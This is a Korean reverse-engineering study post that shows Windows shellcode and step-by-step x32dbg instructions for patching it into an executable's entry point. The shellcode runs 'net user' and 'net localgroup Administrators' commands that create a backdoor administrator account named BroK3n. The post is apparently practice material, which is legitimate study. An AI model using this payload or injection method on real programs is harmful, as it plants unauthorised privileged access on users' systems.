쉘코드를 넣어서 실행되도록 해보자.
쉘코드에서 \x 없애기
import binascii
shellcode_arr=[
b"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42",
b"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03",
b"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b",
b"\x34\xaf\x01\xc6\x45\x81\x3e\x57\x69\x6e\x45\x75\xf2\x8b\x7a",
b"\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf",
b"\xfc\x01\xc7\x68\x4b\x33\x6e\x01\x68\x20\x42\x72\x6f\x68\x2f",
b"\x41\x44\x44\x68\x6f\x72\x73\x20\x68\x74\x72\x61\x74\x68\x69",
b"\x6e\x69\x73\x68\x20\x41\x64\x6d\x68\x72\x6f\x75\x70\x68\x63",
b"\x61\x6c\x67\x68\x74\x20\x6c\x6f\x68\x26\x20\x6e\x65\x68\x44",
b"\x44\x20\x26\x68\x6e\x20\x2f\x41\x68\x72\x6f\x4b\x33\x68\x33",
b"\x6e\x20\x42\x68\x42\x72\x6f\x4b\x68\x73\x65\x72\x20\x68\x65",
b"\x74\x20\x75\x68\x2f\x63\x20\x6e\x68\x65\x78\x65\x20\x68\x63",
b"\x6d\x64\x2e\x89\xe5\xfe\x4d\x53\x31\xc0\x50\x55\xff\xd7"]
shellcode=b''
for code in shellcode_arr:
shellcode+=binascii.hexlify(code)
print(shellcode)
위의 코드로 \x만 없앤 쉘코드를 얻을 수 있다.
31d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e57696e4575f28b7a2401c7668b2c6f8b7a1c01c78b7caffc01c7684b336e01682042726f682f414444686f727320687472617468696e6973682041646d68726f75706863616c676874206c6f6826206e656844442026686e202f4168726f4b3368336e20426842726f4b68736572206865742075682f63206e686578652068636d642e89e5fe4d5331c05055ffd7
x32dbg 툴을 사용했다.
F9로 EntryPoint로 이동할 수 있다.
수정할 어셈블리 코드에서 Ctrl + E를 하면 코드 수정이 가능하다.
코드가 수정되었다.
EntryPoint를 jmp 01.401067로 변경해서 쉘코드가 실행될 수 있도록 한다.
00401069 주소에서 우클릭하고 덤프에서 따라가기 -> 선택한 주소
그럼 왼쪽 하단 창에 덤프 1에 선택한 주소의 Hex가 나타난다.
주소에서 우클릭 -> 바이너리 편집기 -> 붙여넣기(크기무시) 선택한다.
쉘코드를 붙여넣기 하면 원하는 쉘코드를 원하는 위치에 넣을 수 있다.
마지막엔 다시 원래 실행 흐름이 이루어지도록 00401002로 점프하는 코드를 넣는다.
E9 D2FEFFFF
위의 기계코드 또한 복사해서, 왼쪽 하단 Hex 창에서 넣고싶은 위치에서 우클릭하고 바이너리 편집기 -> 붙여넣기 (크기무시)로 넣는다.
6A0031d2b230648b128b520c8b521c8b42088b72208b12807e0c3375f289c703783c8b577801c28b7a2001c731ed8b34af01c645813e57696e4575f28b7a2401c7668b2c6f8b7a1c01c78b7caffc01c7684b336e01682042726f682f414444686f727320687472617468696e6973682041646d68726f75706863616c676874206c6f6826206e656844442026686e202f4168726f4b3368336e20426842726f4b68736572206865742075682f63206e686578652068636d642e89e5fe4d5331c05055ffd7E9 D2FEFFFF
위의 코드는 0x401069(push 0)부터 다시 실행흐름으로 돌아갈 때까지 코드로, 덤프 시 붙여넣기(크기무시)를 하면 한번에 넣을 수 있다.
메모리 덤프
변경사항을 반영하기 위해 플러그인 -> Scylla 선택한다.
IAT Autosearch -> Get Imports -> Dump 순으로 선택하면 XX_dump.exe 파일이 생성된다.
CodeEngn Basic RCE L11 (0) | 2021.05.23 |
---|---|
CodeEngn Basic RCE L09 (0) | 2021.05.23 |
abex crackme #2 (0) | 2021.05.18 |
리버싱 입문 1.7 리버싱에 필요한 도구 (0) | 2021.05.17 |
리버싱 입문 5. 리버싱의 어려운 문제들 (0) | 2021.05.11 |